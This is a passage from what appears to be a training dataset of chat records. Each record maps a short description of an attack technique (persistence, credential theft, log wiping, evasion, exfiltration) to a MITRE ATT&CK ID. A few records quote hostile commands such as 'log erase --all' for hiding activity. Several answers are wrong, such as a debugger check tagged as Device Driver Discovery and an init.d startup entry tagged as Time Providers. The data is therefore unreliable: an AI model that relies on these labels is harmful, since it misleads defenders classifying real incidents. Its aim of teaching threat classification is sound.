        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker provisions a new user in the victim's Office 365 tenant to establish a foothold in the cloud environment."
            },
            {
                "role": "assistant",
                "content": "T1585.003 - Establish Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised Helm chart, the adversary deploys a container that establishes a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor disables the system's PKI hardware token, causing encrypted communications to fallback to insecure software methods."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in a Microsoft Office document contacts a malicious HTTP server to download additional payloads and receive execution instructions."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sets up a malicious Telegram bot that the infected host contacts for command and control."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary executes 'arp -a' to discover IP addresses of devices on the local subnet."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker distributes a malicious Excel .xltm template that auto-executes a VBA macro upon opening, providing persistent access via Office startup."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker empties the unified logging database on macOS by invoking \"log erase --all\" to hide activity."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor used software packing to hide the malicious code, employing a lightweight executable compressor."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor tampers with the operating system's audit policy to stop logging of suspicious processes, effectively blocking forensic indicators."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary encodes PowerShell commands in base64 and executes them via wscript.exe."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Recon team examines public job postings to infer technologies and software in use at the target organization."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The post-exploitation tool sent a request to the OS to enumerate connected peripheral devices."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gathering information about a target organization's incident response plan and procedures."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During execution, the backdoor queries the Win32_Keyboard class for recent keystrokes and halts if no keys have been pressed recently."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker extracts cached credentials from the Google Chrome password store via DPAPI decryption."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Custom backdoor issues the command \"echo y|wmic os where Primary='true' call Reboot\" to force a system reboot."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware executes a PowerShell command \"Get-NetAdapter -InterfaceDescription *WiFi*\" followed by \"Get-NetIPAddress\" to enumerate Wi‑Fi interfaces and associated IP configurations."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi‑Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group obtained unauthorized access to a software vendor's repository and added a hidden command‑and‑control module to the next release of the product."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code employs FTP over TLS to hide exfiltration traffic within legitimate file transfers."
            },
            {
                "role": "assistant",
                "content": "T1071.002 - Application Layer Protocol: File Transfer Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker embedded malicious PowerShell commands within a macro that was then encoded using XOR."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a vulnerability in the RDP service, the attacker can seize an active user’s session without needing credentials."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion creates a launch agent that activates a ransomware encryptor whenever a USB device is connected."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor inserts a hidden executable into a shared ZIP archive that users download from a shared repository."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries collect metadata from publicly accessible CDN logs to identify server locations and technology stacks used by the victim."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious email is sent to a specific employee, appearing to be from the IT helpdesk, with a malicious attachment that, when opened, installs keylogging software."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor manipulates a web server’s settings so that HTTPS connections are forced to use TLS 1.0 instead of TLS 1.2, exposing the session to known attacks."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group uses asynchronous procedure calls to insert malicious code into a running process."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using environment variable manipulation, the attacker forces PAM to load a malicious module that bypasses multi‑factor authentication."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan uses a custom DNS resolver library to bypass OS‑level DNS cache and resolve its server address."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a stolen API token, the attacker called Confluence's search API to retrieve and copy all pages tagged with \"confidential\"."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker inserts firewall rules that drop outbound traffic to known threat intelligence feeds, preventing indicator retrieval."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a service that triggers a malicious PowerShell script on system startup."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious installer package is delivered via phishing email and, once opened, triggers code execution through the Installer's custom actions."
            },
            {
                "role": "assistant",
                "content": "T1546.016 - Event Triggered Execution: Installer Packages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is achieved by copying a custom plist to /System/Library/LaunchAgents and loading it with launchd."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group tampers with API calls over the network, inserting additional parameters to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script checks for the presence of a debugger and aborts execution if one is detected."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a DCSync attack, using tools like Mimikatz to request password hashes directly from the domain controller without needing to dump the SAM file."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised host utilizes reflective PE injection to insert a malicious executable into a running service."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates new user accounts in the victim's AWS environment to gain persistent access."
            },
            {
                "role": "assistant",
                "content": "T1585.003 - Establish Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red teaming exercises include using the built‑in Group Policy Software Installation feature to silently deploy a custom payload to all domain‑joined computers."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy malware component registers a custom print processor that is automatically loaded by the spooler, providing persistence via the Print Processors sub‑technique."
            },
            {
                "role": "assistant",
                "content": "T1547.012 - Boot or Logon Autostart Execution: Print Processors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion leverages continuous allocation of kernel objects, exhausting the operating system's memory pool."
            },
            {
                "role": "assistant",
                "content": "T1499.001 - Endpoint Denial of Service: OS Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a session hijacking attempt, the adversary inserts themselves between the victim's client and the remote service, altering DNS responses to redirect traffic."
            },
            {
                "role": "assistant",
                "content": "T1557 - Adversary-in-the-Middle"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary replaces the normal Windows network provider DLL with a malicious version to intercept and modify authentication credentials."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware exfiltrates encryption keys by attaching them to emails sent through the victim's legitimate mail client."
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Application Layer Protocol: Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bypassing authentication controls to establish a connection"
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent foothold is established by adding a malicious entry to the system's init.d startup scripts."
            },
            {
                "role": "assistant",
                "content": "T1547.003 - Boot or Logon Autostart Execution: Time Providers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use the Windows utility mshta to run encoded JavaScript payloads delivered via a crafted URL."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A volumetric DoS attack was performed by flooding the target's firewall with a continuous stream of random TCP packets, causing it to drop legitimate traffic."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware disables Windows Defender real-time protection before executing payload."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uploads stolen credentials to a publicly accessible Dropbox folder to retrieve them later."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dynamic DNS lookup is used to resolve hosts generated from a pseudo‑random algorithm for stealthy C2."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker establishes a persistent backdoor on a compromised machine by creating a new user account with administrative privileges, what MITRE ATT&CK ID represents this action?"
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware checks for the presence of a debugger by calling IsDebuggerPresent and terminates if it detects one."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised host used SMTP to encapsulate stolen data within email attachments, sending it out via the organization's mail server."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses the command `mshta.exe javascript:...` to execute arbitrary JavaScript code from a remote server."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker employs the VirusTotal passive DNS feature to enumerate domain aliases tied to the victim's assets."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors harvest API tokens from source code repositories where developers committed the tokens into .git files."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software registers a low-level keyboard hook to capture typing activity within any application that renders a graphical UI."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email contains a forged .docx file that uses a malicious embedded OLE object to download a second-stage payload."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Phishing for Information: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a domain controller, the threat actor steals Kerberos service tickets and injects them into their process to gain elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT leveraged a botnet of compromised Windows workstations to exfiltrate data via encrypted channels."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors employ AWS SDK calls to discover hidden objects in a misconfigured bucket."
            },
            {
                "role": "assistant",
                "content": "T1619 - Cloud Storage Object Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised service accounts are used to change the authentication configuration in Azure AD Connect, disabling MFA enforcement for specific user groups."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining access to a victim's GCP Compute Engine instance, the threat actor created a persistent snapshot to retain a copy of the instance before removal."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit a vulnerable WebSocket connection to change messages being exchanged between client and server."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware stages harvested data on a remote Dropbox folder synced across devices."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Azure Container Instances, the threat actor sets up a timed task that triggers a PowerShell payload."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a custom C# tool that calls the NetLogon API to enumerate domain trusts."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During persistence, the malware executes process hollowing to embed its code within a legitimate system process, evading detection."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploited a server's automatic XSL processing feature to run a PowerShell script embedded in the stylesheet, establishing persistence."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary exploited AWS Elastic Compute Cloud (EC2) Instance Connect to run arbitrary commands on the target."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary copies harvested files into a hidden folder on the compromised host before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By appending malicious payloads to the resource fork of a legitimate binary, the actor hides its code from normal file integrity checks."
            },
            {
                "role": "assistant",
                "content": "T1564.009 - Hide Artifacts: Resource Forking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code accesses the /sys/class/dmi/id/ directory on a Linux machine to harvest BIOS and firmware attributes."
            },
            {
                "role": "assistant",
                "content": "T1592.003 - Gather Victim Host Information: Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
